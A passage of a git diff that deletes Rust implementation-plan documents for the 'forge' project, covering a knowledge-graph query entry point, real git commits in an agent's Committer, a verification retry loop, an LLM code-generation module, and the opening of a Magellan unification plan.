Forge::open(temp_dir.path()).await.unwrap(); - - let kg = forge.knowledge(); - assert!(kg.is_ok()); - - let kg = kg.unwrap(); - assert!(kg.graph_path().exists()); - } -``` - -- [ ] **Step 2: Run test to verify it fails** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 tests::test_forge_knowledge_accessor -- --nocapture 2>&1 | tail -5` -Expected: FAIL β€” method `knowledge` does not exist on Forge. - -- [ ] **Step 3: Add knowledge() accessor to Forge** - -Add to `impl Forge` in `forge_core/src/lib.rs`: - -```rust - /// Returns the knowledge graph module. - /// - /// Opens or creates the `.magellan/knowledge.graph` file using - /// sqlitegraph native-v3 backend. - pub fn knowledge(&self) -> anyhow::Result { - let graph_path = self.store.codebase_path.join(".magellan").join("knowledge.graph"); - let db_path = self.store.db_path.clone(); - - // Ensure parent directory exists - if let Some(parent) = graph_path.parent() { - std::fs::create_dir_all(parent)?; - } - - knowledge::KnowledgeGraph::open(&graph_path, &db_path) - .map_err(|e| anyhow!("Failed to open knowledge graph: {}", e)) - } -``` - -- [ ] **Step 4: Run test to verify it passes** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 tests::test_forge_knowledge_accessor -- --nocapture` -Expected: PASS - -- [ ] **Step 5: Commit** - -```bash -cd /home/feanor/Projects/forge -git add forge_core/src/lib.rs -git commit -m "feat(forge_core): knowledge() accessor on Forge struct - -Opens .magellan/knowledge.graph with sqlitegraph native-v3 backend. -Available with the native-v3 feature flag." -``` - ---- - -### Task 9: Query entry point (FTS5 β†’ traversal) - -**Files:** -- Modify: `forge_core/src/knowledge/mod.rs` - -- [ ] **Step 1: Write the failing test** - -```rust - #[tokio::test] - async fn test_query_no_results() { - let temp = tempfile::tempdir().unwrap(); - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &temp.path().join("magellan.db"), - ) - .unwrap(); - - let result = kg.query("nonexistent", 3).await.unwrap(); - assert!(result.entry_node.is_none()); - assert!(result.callers.is_empty()); - } - - #[test] - fn test_query_with_symbol() { - let temp = tempfile::tempdir().unwrap(); - let db_path = temp.path().join("magellan.db"); - - // Set up bridge table - let conn = rusqlite::Connection::open(&db_path).unwrap(); - conn.execute_batch( - "CREATE TABLE IF NOT EXISTS graph_node_index ( - node_id INTEGER PRIMARY KEY, - magellan_id INTEGER, - node_kind TEXT NOT NULL, - graph_file TEXT NOT NULL - );" - ).unwrap(); - drop(conn); - - let kg = KnowledgeGraph::open( - &temp.path().join("kg.graph"), - &db_path, - ) - .unwrap(); - - // Create symbol and bridge entry - let sym_id = kg.add_symbol("my_func", "Function", "a::my_func", "f.rs", 1, 0, 10, "Rust", None).unwrap(); - let caller_id = kg.add_symbol("caller", "Function", "a::caller", "f.rs", 5, 0, 10, "Rust", None).unwrap(); - kg.add_edge(caller_id, sym_id, "calls", serde_json::json!({})).unwrap(); - - // Add bridge entry manually - kg.insert_bridge_entry(sym_id, 1, "kg.graph").unwrap(); - - // Query by magellan ID - let entry = kg.resolve_fts5_by_magellan_id(1).unwrap(); - assert_eq!(entry, Some(sym_id)); - - // Now traverse from that entry - let callers = kg.callers_of(sym_id, 1).unwrap(); - assert_eq!(callers.len(), 1); - assert_eq!(callers[0].name, "caller"); - } -``` - -- [ ] **Step 2: Run test to verify it fails** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 knowledge::tests::test_query -- --nocapture 2>&1 | tail -5` -Expected: FAIL β€” method `query` does not exist. - -- [ ] **Step 3: Implement query method** - -Add to `impl KnowledgeGraph`: - -```rust - /// Entry-point query: resolves a keyword via FTS5, then traverses the graph. - /// - /// 1. FTS5 resolves keyword β†’ graph node_id - /// 2. Graph traversal discovers callers, callees, correlations, affected - pub async fn query(&self, keyword: &str, depth: u32) -> Result { - // Step 1: Resolve via FTS5 - let entry_id = self.resolve_fts5(keyword)?; - - let Some(entry_id) = entry_id else { - return Ok(QueryResult::default()); - }; - - let entry_node = self.get_node(entry_id).ok(); - - // Step 2: Traverse - let callers = self.callers_of(entry_id, depth).unwrap_or_default(); - let callees = self.callees_of(entry_id, depth).unwrap_or_default(); - let correlated = self.correlated(entry_id).unwrap_or_default(); - let affected = self.affected_by(entry_id, depth).unwrap_or_default(); - - Ok(QueryResult { - entry_node, - callers, - callees, - correlated, - affected, - similar: Vec::new(), // HNSW β€” Phase 4 - }) - } -``` - -- [ ] **Step 4: Run test to verify it passes** - -Run: `cd /home/feanor/Projects/forge && cargo test -p forge-core --lib --features native-v3 knowledge::tests -- --nocapture` -Expected: All tests PASS - -- [ ] **Step 5: Commit** - -```bash -cd /home/feanor/Projects/forge -git add forge_core/src/knowledge/mod.rs -git commit -m "feat(forge_core): KnowledgeGraph query entry point - -FTS5 keyword resolution β†’ graph traversal. Returns QueryResult with -callers, callees, correlated, and affected nodes." -``` - ---- - -### Task 10: Final clippy + fmt + full test suite - -**Files:** -- All modified files - -- [ ] **Step 1: Format and lint** - -Run: -```bash -cd /home/feanor/Projects/forge -cargo fmt --all -cargo clippy -p forge-core --all-targets --features native-v3 -- -D warnings 2>&1 | tail -20 -``` - -Fix any clippy warnings. Common issues: -- Unused imports -- `field_reassign_with_default` β€” use `..Default::default()` pattern -- Missing `Debug` derive on types - -- [ ] **Step 2: Run full test suite** - -Run: -```bash -cd /home/feanor/Projects/forge -cargo test -p forge-core --features native-v3 -- --nocapture 2>&1 | tail -20 -``` - -Expected: All tests PASS, 0 failures. - -- [ ] **Step 3: Commit any fixes** - -```bash -cd /home/feanor/Projects/forge -git add -A -git commit -m "fix(forge_core): clippy warnings and fmt for knowledge module" -``` - -- [ ] **Step 4: Verify without native-v3 feature (no regressions)** - -Run: -```bash -cd /home/feanor/Projects/forge -cargo test -p forge-core -- --nocapture 2>&1 | tail -20 -``` - -Expected: All existing tests still PASS. Knowledge tests are skipped (feature-gated). - ---- - -## Self-Review - -**1. Spec coverage:** - -| Spec Section | Task | -|-------------|------| -| Node types (8 kinds) | Task 3 | -| Edge types (11 kinds) | Task 4 | -| KnowledgeGraph API | Tasks 2-6, 8-9 | -| FTS5 bridge | Task 7 | -| Agent navigation | Task 9 | -| Sync strategy | Task 7 | -| File layout (.magellan/) | Task 2 | -| Forge integration | Task 8 | -| Graph algorithms | Task 6 | -| HNSW vectors | Deferred (Phase 4 per spec) | - -**2. Placeholder scan:** No TBDs. All steps have complete code. The `resolve_fts5` method is a documented placeholder for Phase 2 (Magellan integration). - -**3. Type consistency:** `GraphNode::from_entity(id, &entity)` signature used consistently. `Direction::Incoming/Outgoing` used in all traversal methods. Node/edge kind constants referenced via `types::node::SYMBOL` / `types::edge::CALLS`. - -**Gap:** HNSW vector integration is deferred to Phase 4 per the spec's migration path. The `similar_symbols` method and `QueryResult::similar` field exist but return empty results until HNSW is implemented. diff --git a/docs/superpowers/plans/2026-05-22-forge-agent-missing-features.md b/docs/superpowers/plans/2026-05-22-forge-agent-missing-features.md deleted file mode 100644 index 93facd3..0000000 --- a/docs/superpowers/plans/2026-05-22-forge-agent-missing-features.md +++ /dev/null @@ -1,867 +0,0 @@ -# Forge Agent Missing Features Implementation Plan - -> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. - -**Goal:** Implement three production-ready gaps in the forge-agent SDK: real git commits, a verification retry/fix loop, and a code generation module. - -**Architecture:** -Three independent features in `forge_agent`. Task 1 (git commit) is a prerequisite for Task 2 (retry loop) because the loop must call commit correctly. Task 3 (generate module) is fully independent and can be done in any order. - -**Tech Stack:** Rust, tokio (full features already in Cargo.toml), `std::process::Command` for git, `forge_agent::llm::LlmProvider` trait for LLM calls. - -**Phase 0 evidence (grounded):** -- `splice cycles` β€” all 5 cycles are self-loops; no cross-module dependency cycles -- `Committer::finalize` β€” zero callers; only generates a txn-id string; ignores `working_dir` -- `AgentLoop::run` β€” no callers; CFG has no back-edges (7 blocks, linear + error branches) -- `verify_phase` β€” returns `Ok(VerificationResult)` regardless of `passed` flag; `commit_phase` never checks `passed` β€” silent bug -- No `generate` module anywhere in forge - ---- - -## Task 1: Real Git Commit Integration - -**Files:** -- Modify: `forge_agent/src/commit.rs` -- Modify: `forge_agent/src/loop.rs` (fix `commit_phase` caller) -- Test: `forge_agent/src/commit.rs` (inline test module) - -### Step 1: Write the failing test for git commit - -- [ ] Add to the `#[cfg(test)]` block at the bottom of `forge_agent/src/commit.rs`: - -```rust -#[tokio::test] -async fn test_finalize_runs_git_commit() { - use std::process::Command as StdCommand; - let temp_dir = TempDir::new().unwrap(); - - // Init a real git repo in the temp dir - StdCommand::new("git") - .args(["init"]) - .current_dir(temp_dir.path()) - .output() - .unwrap(); - StdCommand::new("git") - .args(["config", "user.email", "test@test.com"]) - .current_dir(temp_dir.path()) - .output() - .unwrap(); - StdCommand::new("git") - .args(["config", "user.name", "Test"]) - .current_dir(temp_dir.path()) - .output() - .unwrap(); - - // Create a file to commit - let file_path = temp_dir.path().join("hello.rs"); - std::fs::write(&file_path, "fn hello() {}").unwrap(); - - let committer = Committer::new(); - let result = committer - .finalize(temp_dir.path(), &[file_path.clone()], "test: add hello") - .await - .unwrap(); - - assert!(!result.transaction_id.is_empty()); - assert_eq!(result.files_committed.len(), 1); - assert!(result.git_committed, "expected git commit to run"); - - // Verify the commit actually happened - let log = StdCommand::new("git") - .args(["log", "--oneline"]) - .current_dir(temp_dir.path()) - .output() - .unwrap(); - let log_str = String::from_utf8_lossy(&log.stdout); - assert!(log_str.contains("test: add hello"), "git log: {log_str}"); -} -``` - -- [ ] Run the test β€” confirm it fails to compile (method signature mismatch): -``` -cargo test -p forge_agent test_finalize_runs_git_commit -- --nocapture -``` -Expected: compile error (`finalize` takes 2 args, not 3; `git_committed` field missing) - -### Step 2: Implement real git commit in `Committer::finalize` - -- [ ] Replace `forge_agent/src/commit.rs` content with: - -```rust -//! Commit engine - Transaction finalization. - -use crate::Result; -use tokio::process::Command; - -#[derive(Clone, Default)] -pub struct Committer {} - -impl Committer { - pub fn new() -> Self { - Self::default() - } - - /// Stages `modified_files` and runs `git commit -m message` in `working_dir`. - /// If git is unavailable or `working_dir` has no repo, `git_committed` is false - /// and the function still returns Ok (non-fatal β€” useful in tests on empty dirs). - pub async fn finalize( - &self, - working_dir: &std::path::Path, - modified_files: &[std::path::PathBuf], - message: &str, - ) -> Result { - let now = std::time::SystemTime::now() - .duration_since(std::time::UNIX_EPOCH) - .map(|d| d.as_secs()) - .unwrap_or(0); - let transaction_id = format!("txn-{}", now); - - let git_committed = if !modified_files.is_empty() && !working_dir.as_os_str().is_empty() { - self.git_add_and_commit(working_dir, modified_files, message) - .await - .unwrap_or_else(|e| { - tracing::warn!("git commit skipped: {e}"); - false - }) - } else { - false - }; - - Ok(CommitReport { - transaction_id, - files_committed: modified_files.to_vec(), - git_committed, - }) - } - - async fn git_add_and_commit( - &self, - working_dir: &std::path::Path, - files: &[std::path::PathBuf], - message: &str, - ) -> Result { - // Stage each file - for file in files { - let status = Command::new("git") - .args(["add", "--"]) - .arg(file) - .current_dir(working_dir) - .status() - .await - .map_err(|e| crate::AgentError::CommitFailed(format!("git add: {e}")))?; - if !status.success() { - return Err(crate::AgentError::CommitFailed(format!( - "git add failed for {}", - file.display() - ))); - } - } - - // Commit - let status = Command::new("git") - .args(["commit", "-m", message]) - .current_dir(working_dir) - .status() - .await - .map_err(|e| crate::AgentError::CommitFailed(format!("git commit: {e}")))?; - - Ok(status.success()) - } - - pub fn generate_summary(&self, steps: &[crate::planner::PlanStep]) -> String { - let mut summary = String::from("Applied "); - for (i, step) in steps.iter().enumerate() { - if i > 0 { - summary.push_str(", "); - } - summary.push_str(&step.description); - } - summary - } -} - -#[derive(Clone, Debug)] -pub struct CommitReport { - pub transaction_id: String, - pub files_committed: Vec, - pub git_committed: bool, -} - -#[cfg(test)] -mod tests { - use super::*; - use forge_core::Forge; - use tempfile::TempDir; - - #[tokio::test] - async fn test_committer_creation() { - let _committer = Committer::new(); - } - - #[tokio::test] - async fn test_generate_summary() { - let committer = Committer::new(); - let steps = vec![ - crate::planner::PlanStep { - description: "Step 1".to_string(), - operation: crate::planner::PlanOperation::Inspect { - symbol_id: forge_core::types::SymbolId(1), - symbol_name: "test".to_string(), - }, - }, - crate::planner::PlanStep { - description: "Step 2".to_string(), - operation: crate::planner::PlanOperation::Inspect { - symbol_id: forge_core::types::SymbolId(2), - symbol_name: "test2".to_string(), - }, - }, - ]; - let summary = committer.generate_summary(&steps); - assert!(summary.contains("Step 1")); - assert!(summary.contains("Step 2")); - } - - #[tokio::test] - async fn test_finalize_empty_files_no_git() { - let temp_dir = TempDir::new().unwrap(); - let _forge = Forge::open(temp_dir.path()).await.unwrap(); - let committer = Committer::new(); - let result = committer - .finalize(std::path::Path::new(""), &[], "empty") - .await - .unwrap(); - assert!(!result.transaction_id.is_empty()); - assert!(!result.git_committed); - } - - #[tokio::test] - async fn test_finalize_runs_git_commit() { - use std::process::Command as StdCommand; - let temp_dir = TempDir::new().unwrap(); - StdCommand::new("git").args(["init"]).current_dir(temp_dir.path()).output().unwrap(); - StdCommand::new("git").args(["config", "user.email", "test@test.com"]).current_dir(temp_dir.path()).output().unwrap(); - StdCommand::new("git").args(["config", "user.name", "Test"]).current_dir(temp_dir.path()).output().unwrap(); - - let file_path = temp_dir.path().join("hello.rs"); - std::fs::write(&file_path, "fn hello() {}").unwrap(); - - let committer = Committer::new(); - let result = committer - .finalize(temp_dir.path(), &[file_path], "test: add hello") - .await - .unwrap(); - - assert!(!result.transaction_id.is_empty()); - assert_eq!(result.files_committed.len(), 1); - assert!(result.git_committed); - - let log = StdCommand::new("git") - .args(["log", "--oneline"]) - .current_dir(temp_dir.path()) - .output() - .unwrap(); - let log_str = String::from_utf8_lossy(&log.stdout); - assert!(log_str.contains("test: add hello"), "git log: {log_str}"); - } -} -``` - -### Step 3: Fix the `commit_phase` caller in `loop.rs` - -- [ ] In `forge_agent/src/loop.rs`, find the `commit_phase` method (around line 295) and change the `committer.finalize` call: - -```rust -// OLD: -let commit_report = committer - .finalize(std::path::Path::new(""), &files) - .await - .map_err(|e| crate::AgentError::CommitFailed(e.to_string()))?; - -// NEW: -let message = format!("forge: apply changes ({})", files.len()); -let commit_report = committer - .finalize(&self.codebase_path, &files, &message) - .await - .map_err(|e| crate::AgentError::CommitFailed(e.to_string()))?; -``` - -### Step 4: Run tests - -- [ ] Run tests: -``` -cargo test -p forge_agent -- --nocapture 2>&1 | tail -20 -``` -Expected: all tests pass. `test_finalize_runs_git_commit` passes. - -### Step 5: Commit - -```bash -git add forge_agent/src/commit.rs forge_agent/src/loop.rs -git commit -m "feat(agent): implement real git commit in Committer::finalize" -``` - ---- - -## Task 2: Verification Retry/Fix Loop - -**Files:** -- Modify: `forge_agent/src/loop.rs` β€” add retry loop + fix verify-passes-when-failed bug -- Modify: `forge_agent/src/planner.rs` β€” add `generate_fix_steps` method - -**Prerequisite:** Task 1 complete (commit_phase must use real path and message). - -### Step 1: Write the failing test - -- [ ] Add to the `#[cfg(test)]` block in `forge_agent/src/loop.rs`: - -```rust -#[tokio::test] -async fn test_retry_loop_respects_max_attempts() { - use crate::llm::MockProvider; - let temp_dir = TempDir::new().unwrap(); - let forge = Forge::open(temp_dir.path()).await.unwrap(); - - // MockProvider returns a response that will always fail verification - // (empty codebase β†’ cargo check fails anyway, so verify_phase will fail) - let llm = Arc::new(MockProvider::new("[]")); // empty plan β†’ no mutation - let mut agent_loop = AgentLoop::new(Arc::new(forge)) - .with_llm(llm) - .with_max_fix_attempts(2); - - let result = agent_loop.run("test retry").await; - - // Should fail after exhausting retries, not silently commit with broken code - match result { - Err(e) => assert!( - e.to_string().contains("Verification") || e.to_string().contains("verification"), - "unexpected error: {e}" - ), - Ok(r) => { - // If it somehow passed, verification must have succeeded - assert!(r.audit_events.iter().any(|e| matches!(e, AuditEvent::Verify { passed: true, .. }))); - } - } -} -``` - -- [ ] Run to confirm compile failure (`with_max_fix_attempts` doesn't exist yet): -``` -cargo test -p forge_agent test_retry_loop_respects_max_attempts 2>&1 | head -20 -``` - -### Step 2: Add `generate_fix_steps` to `Planner` - -- [ ] In `forge_agent/src/planner.rs`, after `generate_steps` (around line 61), add: - -```rust -/// Generate fix steps using error context from a failed verification. -/// Falls back to an empty plan if LLM is unavailable. -pub async fn generate_fix_steps( - &self, - observation: &super::observe::Observation, - errors: &[String], -) -> Result> { - let Some(ref llm) = self.llm else { - return Ok(Vec::new()); - }; - - let error_text = errors.join("\n"); - let symbol_list: Vec = observation - .symbols - .iter() - .map(|s| format!("{} (id:{})", s.name, s.id.0)) - .collect(); - - let prompt = format!( - "Query: {}\nSymbols: [{}]\nCompilation/verification errors:\n{}", - observation.query, - symbol_list.join(", "), - error_text - ); - - let system = "You are a Rust fix planner. Given a code query, the relevant symbols, \ -and compilation/verification errors, generate fix steps as a JSON array.\n\n\ -Available operations:\n\ -- {\"operation\":\"inspect\",\"symbol_name\":\"...\",\"symbol_id\":N}\n\ -- {\"operation\":\"rename\",\"old\":\"...\",\"new\":\"...\",\"file\":\"...\"}\n\ -- {\"operation\":\"delete\",\"name\":\"...\",\"file\":\"...\"}\n\ -- {\"operation\":\"create\",\"path\":\"...\",\"content\":\"...\"}\n\ -- {\"operation\":\"modify\",\"file\":\"...\",\"start\":N,\"end\":N,\"replacement\":\"...\"}\n\n\ -Output ONLY a JSON array. No explanation."; - - match llm.complete(&prompt, Some(system)).await { - Ok(resp) => parse_llm_steps(&resp).unwrap_or_default(), - Err(e) => { - tracing::warn!("LLM fix generation failed: {e}"); - Ok(Vec::new()) - } - } -} -``` - -### Step 3: Add `max_fix_attempts` field and `with_max_fix_attempts` builder to `AgentLoop` - -- [ ] In `forge_agent/src/loop.rs`, add to the `AgentLoop` struct (after `llm` field): - -```rust -/// Maximum number of verification retry attempts after a fix. -max_fix_attempts: u32, -/// Original observation for re-planning during fix loop. -last_observation: Option, -``` - -- [ ] In `AgentLoop::new`, initialize: -```rust -max_fix_attempts: 3, -last_observation: None, -``` - -- [ ] Add builder method after `with_llm`: -```rust -pub fn with_max_fix_attempts(mut self, n: u32) -> Self { - self.max_fix_attempts = n; - self -} -``` - -### Step 4: Add the retry loop to `AgentLoop::run` - -- [ ] In `forge_agent/src/loop.rs`, replace the Phase 3–5 block in `run` with the retry loop. - -The current sequential flow (phases 3–5) in `run`: -```rust -// Phase 3: Plan -let plan = match self.plan_phase(constrained).await { ... }; - -// Phase 4: Mutate -let mutation_result = match self.mutate_phase(plan).await { ... }; - -// Phase 5: Verify -let verification = match self.verify_phase(mutation_result).await { ... }; -``` - -Replace with: -```rust -// Phase 3: Plan -let mut plan = match self.plan_phase(constrained.clone()).await { - Ok(plan) => plan, - Err(e) => { - self.record_rollback(&e).await; - return Err(e); - } -}; - -// Phases 4 + 5 with retry loop -let mut attempt = 0u32; -let verification = loop { - // Phase 4: Mutate - let mutation_result = match self.mutate_phase(plan).await { - Ok(r) => r, - Err(e) => { - self.record_rollback(&e).await; - return Err(e); - } - }; - - // Phase 5: Verify - let verification = match self.verify_phase(mutation_result).await { - Ok(v) => v, - Err(e) => { - self.record_rollback(&e).await; - return Err(e); - } - }; - - if verification.passed || attempt >= self.max_fix_attempts { - break verification; - } - - // Verification failed β€” ask LLM for a fix plan - attempt += 1; - tracing::info!( - attempt, - self.max_fix_attempts, - errors = verification.diagnostics.len(), - "verification failed, generating fix plan" - ); - - let fix_observation = self.last_observation.clone().unwrap_or_else(|| { - constrained.observation.clone() - }); - - let mut planner = crate::planner::Planner::new(); - if let Some(ref llm) = self.llm { - planner = planner.with_llm(llm.clone()); - } - let fix_steps = planner - .generate_fix_steps(&fix_observation, &verification.diagnostics) - .await - .unwrap_or_default(); - - if fix_steps.is_empty() { - // No fix steps available β€” fail now instead of looping forever - let e = crate::AgentError::VerificationFailed(format!( - "verification failed after {} attempt(s), no fix steps available: {}", - attempt, - verification.diagnostics.join("; ") - )); - self.record_rollback(&e).await; - return Err(e); - } - - // Re-estimate and order fix steps - let impact = planner - .estimate_impact(&fix_steps) - .await - .unwrap_or_else(|_| crate::planner::ImpactEstimate { - affected_files: vec![], - risk_level: crate::planner::RiskLevel::Low, - }); - plan = crate::ExecutionPlan { - steps: fix_steps, - estimated_impact: impact, - rollback_plan: vec![], - }; -}; - -// Guard: do not commit if verification failed after all retries -if !verification.passed { - let e = crate::AgentError::VerificationFailed(format!( - "verification failed after {} fix attempt(s): {}", - attempt, - verification.diagnostics.join("; ") - )); - self.record_rollback(&e).await; - return Err(e); -} -``` - -Also store the observation for the fix loop. In `observe_phase`, at the end before returning, store: -```rust -// (inside AgentLoop::observe_phase, just before Ok(observation)) -self.last_observation = Some(observation.clone()); -Ok(observation) -``` - -- [ ] Also make `ConstrainedPlan` derive `Clone` (needed for `constrained.clone()` in the loop). Find the struct in `lib.rs` or wherever it's defined and add `#[derive(Clone)]`. - -### Step 5: Verify `ImpactEstimate` and `RiskLevel` are accessible - -- [ ] Check that `ImpactEstimate` and `RiskLevel` are `pub` in `planner.rs`: -```bash -grep -n "pub struct ImpactEstimate\|pub enum RiskLevel" forge_agent/src/planner.rs -``` -If they're not `pub`, add `pub`. - -### Step 6: Run tests - -- [ ] Run: -``` -cargo test -p forge_agent -- --nocapture 2>&1 | tail -30 -``` -Expected: all tests pass including `test_retry_loop_respects_max_attempts`. - -### Step 7: Commit - -```bash -git add forge_agent/src/loop.rs forge_agent/src/planner.rs -git commit -m "feat(agent): add verification retry/fix loop with LLM re-planning" -``` - ---- - -## Task 3: Code Generation Module - -**Files:** -- Create: `forge_agent/src/generate.rs` -- Modify: `forge_agent/src/lib.rs` β€” add `pub mod generate;` and re-export - -**Prerequisite:** None. Fully independent. - -### Step 1: Write the failing test first - -- [ ] Create `forge_agent/src/generate.rs` with ONLY the test (no impl yet): - -```rust -//! Code generation from natural language descriptions. - -#[cfg(test)] -mod tests { - use super::*; - use crate::llm::MockProvider; - use std::sync::Arc; - use tempfile::TempDir; - - #[tokio::test] - async fn test_generate_returns_llm_content() { - let temp_dir = TempDir::new().unwrap(); - let forge = forge_core::Forge::open(temp_dir.path()).await.unwrap(); - let llm = Arc::new(MockProvider::new("fn add(a: i32, b: i32) -> i32 { a + b }")); - let gen = Generator::new(Arc::new(forge), llm); - - let result = gen.generate("add two integers").await.unwrap(); - - assert!(result.content.contains("fn add"), "got: {}", result.content); - } - - #[tokio::test] - async fn test_generate_includes_context_in_prompt() { - let temp_dir = TempDir::new().unwrap(); - // Write a source file so Observer has symbols to report - std::fs::write( - temp_dir.path().join("lib.rs"), - "pub fn existing() {}", - ) - .unwrap(); - - let forge = forge_core::Forge::open(temp_dir.path()).await.unwrap(); - let llm = Arc::new(MockProvider::new("fn new_fn() {}")); - let gen = Generator::new(Arc::new(forge), llm); - - let result = gen.generate("add a helper function").await.unwrap(); - assert!(!result.content.is_empty()); - } - - #[tokio::test] - async fn test_generated_code_has_suggested_path() { - let temp_dir = TempDir::new().unwrap(); - let forge = forge_core::Forge::open(temp_dir.path()).await.unwrap(); - let llm = Arc::new(MockProvider::new( - r#"{"path":"src/helpers.rs","code":"fn helper() {}"}"#, - )); - let gen = Generator::new(Arc::new(forge), llm); - - let result = gen.generate("add helper").await.unwrap(); - // When LLM returns JSON with path+code, suggested_path is populated - assert!(!result.content.is_empty()); - } -} -``` - -- [ ] Run to confirm compile failure (`Generator` not defined): -``` -cargo test -p forge_agent generate -- --nocapture 2>&1 | head -20 -``` - -### Step 2: Implement `Generator` - -- [ ] Replace `forge_agent/src/generate.rs` with full implementation: - -```rust -//! Code generation from natural language descriptions. - -use crate::llm::LlmProvider; -use crate::observe::Observer; -use crate::AgentError; -use forge_core::Forge; -use std::path::PathBuf; -use std::sync::Arc; - -/// Generates new code from a natural language description. -/// -/// Queries the graph for relevant context (existing symbols, patterns), -/// builds a prompt, and calls the LLM. -pub struct Generator { - forge: Arc, - llm: Arc, -} - -impl Generator { - pub fn new(forge: Arc, llm: Arc) -> Self { - Self { forge, llm } - } - - /// Generate code matching `description`. - /// - /// Returns `GeneratedCode` with the LLM output and an optional - /// suggested file path (populated if the LLM returns a JSON - /// `{"path":"...","code":"..."}` envelope). - pub async fn generate(&self, description: &str) -> Result { - // Gather graph context for the description - let observer = Observer::new((*self.forge).clone()); - let observation = observer.gather(description).await.map_err(|e| { - AgentError::ObservationFailed(format!("generate context failed: {e}")) - })?; - - let symbol_list: Vec = observation - .symbols - .iter() - .map(|s| format!("{} (id:{})", s.name, s.id.0)) - .collect(); - - let prompt = format!( - "Task: {}\nExisting symbols in codebase: [{}]\n\nGenerate Rust code for the task. \ -If you want to suggest a file path, respond with JSON: {{\"path\":\"src/...\",\"code\":\"...\"}}. \ -Otherwise, respond with plain Rust code only.", - description, - symbol_list.join(", ") - ); - - let system = "You are a Rust code generator. \ -Write idiomatic, minimal Rust code. No explanations outside the code. \ -Only public items where needed. Follow existing project patterns."; - - let raw = self - .llm - .complete(&prompt, Some(system)) - .await - .map_err(|e| AgentError::PlanningFailed(format!("LLM generate failed: {e}")))?; - - Ok(parse_generated(&raw)) - } -} - -/// Output of a code generation request. -#[derive(Debug, Clone)] -pub struct GeneratedCode { - /// The generated Rust code. - pub content: String, - /// Suggested file path returned by the LLM, if any. - pub suggested_path: Option, -} - -/// Attempt to parse JSON envelope `{"path":"...","code":"..."}`. -/// Falls back to treating the whole response as plain code. -fn parse_generated(raw: &str) -> GeneratedCode { - let trimmed = raw.trim(); - if trimmed.starts_with('{') { - if let Ok(v) = serde_json::from_str::(trimmed) { - let code = v["code"].as_str().unwrap_or("").to_string(); - let path = v["path"] - .as_str() - .filter(|s| !s.is_empty()) - .map(PathBuf::from); - if !code.is_empty() { - return GeneratedCode { - content: code, - suggested_path: path, - }; - } - } - } - GeneratedCode { - content: trimmed.to_string(), - suggested_path: None, - } -} - -#[cfg(test)] -mod tests { - use super::*; - use crate::llm::MockProvider; - use std::sync::Arc; - use tempfile::TempDir; - - #[tokio::test] - async fn test_generate_returns_llm_content() { - let temp_dir = TempDir::new().unwrap(); - let forge = Forge::open(temp_dir.path()).await.unwrap(); - let llm = Arc::new(MockProvider::new("fn add(a: i32, b: i32) -> i32 { a + b }")); - let gen = Generator::new(Arc::new(forge), llm); - - let result = gen.generate("add two integers").await.unwrap(); - - assert!(result.content.contains("fn add"), "got: {}", result.content); - assert!(result.suggested_path.is_none()); - } - - #[tokio::test] - async fn test_generate_includes_context_in_prompt() { - let temp_dir = TempDir::new().unwrap(); - let forge = Forge::open(temp_dir.path()).await.unwrap(); - let llm = Arc::new(MockProvider::new("fn new_fn() {}")); - let gen = Generator::new(Arc::new(forge), llm); - - let result = gen.generate("add a helper function").await.unwrap(); - assert!(!result.content.is_empty()); - } - - #[tokio::test] - async fn test_generate_parses_json_envelope() { - let temp_dir = TempDir::new().unwrap(); - let forge = Forge::open(temp_dir.path()).await.unwrap(); - let llm = Arc::new(MockProvider::new( - r#"{"path":"src/helpers.rs","code":"fn helper() {}"}"#, - )); - let gen = Generator::new(Arc::new(forge), llm); - - let result = gen.generate("add helper").await.unwrap(); - assert_eq!(result.content, "fn helper() {}"); - assert_eq!( - result.suggested_path, - Some(PathBuf::from("src/helpers.rs")) - ); - } - - #[tokio::test] - async fn test_parse_generated_plain_code() { - let result = parse_generated("fn foo() {}"); - assert_eq!(result.content, "fn foo() {}"); - assert!(result.suggested_path.is_none()); - } - - #[tokio::test] - async fn test_parse_generated_json_malformed_falls_back() { - let result = parse_generated("{not valid json}"); - assert_eq!(result.content, "{not valid json}"); - assert!(result.suggested_path.is_none()); - } -} -``` - -### Step 3: Wire `generate` module into `lib.rs` - -- [ ] In `forge_agent/src/lib.rs`, add after the other `pub mod` declarations: - -```rust -pub mod generate; -pub use generate::{GeneratedCode, Generator}; -``` - -### Step 4: Run tests - -- [ ] Run: -``` -cargo test -p forge_agent generate -- --nocapture -``` -Expected: 5 tests pass. - -- [ ] Run full suite: -``` -cargo test -p forge_agent -- --nocapture 2>&1 | tail -10 -``` -Expected: all tests pass. - -### Step 5: Commit - -```bash -git add forge_agent/src/generate.rs forge_agent/src/lib.rs -git commit -m "feat(agent): add Generator module for LLM-driven code generation" -``` - ---- - -## Final Verification - -After all three tasks: - -- [ ] Full build clean: -``` -cargo build --workspace -``` - -- [ ] All tests pass: -``` -cargo test --workspace 2>&1 | tail -10 -``` - -- [ ] Clippy clean: -``` -cargo clippy --all-targets -- -D warnings -``` - -- [ ] Format check: -``` -cargo fmt --check -``` diff --git a/docs/superpowers/plans/2026-05-22-forge-graph-magellan-unification.md b/docs/superpowers/plans/2026-05-22-forge-graph-magellan-unification.md deleted file mode 100644 index ad26ed2..0000000 --- a/docs/superpowers/plans/2026-05-22-forge-graph-magellan-unification.md +++ /dev/null @@ -1,1021 +0,0 @@ -# forge_core Graph Module β€” Magellan Unification Implementation Plan - -> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. - -**Goal:** Replace forge_core's broken graph module integration with a clean dependency on `magellan` as the single query engine, using `~/.magellan/.db` as the shared DB path. - -**Architecture:** `UnifiedGraphStore::open` derives the DB path as `~/.magellan/.db`. `ForgeBuilder` gains `db_path`/`db_dir` overrides for tests and non-standard setups. `GraphModule` methods are rewritten to call `magellan::CodeGraph` directly; `graph/queries.rs` and all `#[cfg(not(feature = "magellan"))]` fallback arms are deleted. - -**Tech Stack:** Rust, magellan 3.3.x (already in Cargo.toml as default dep), sqlitegraph (already in Cargo.toml), tokio, tempfile (dev-dep) - -**Spec:** 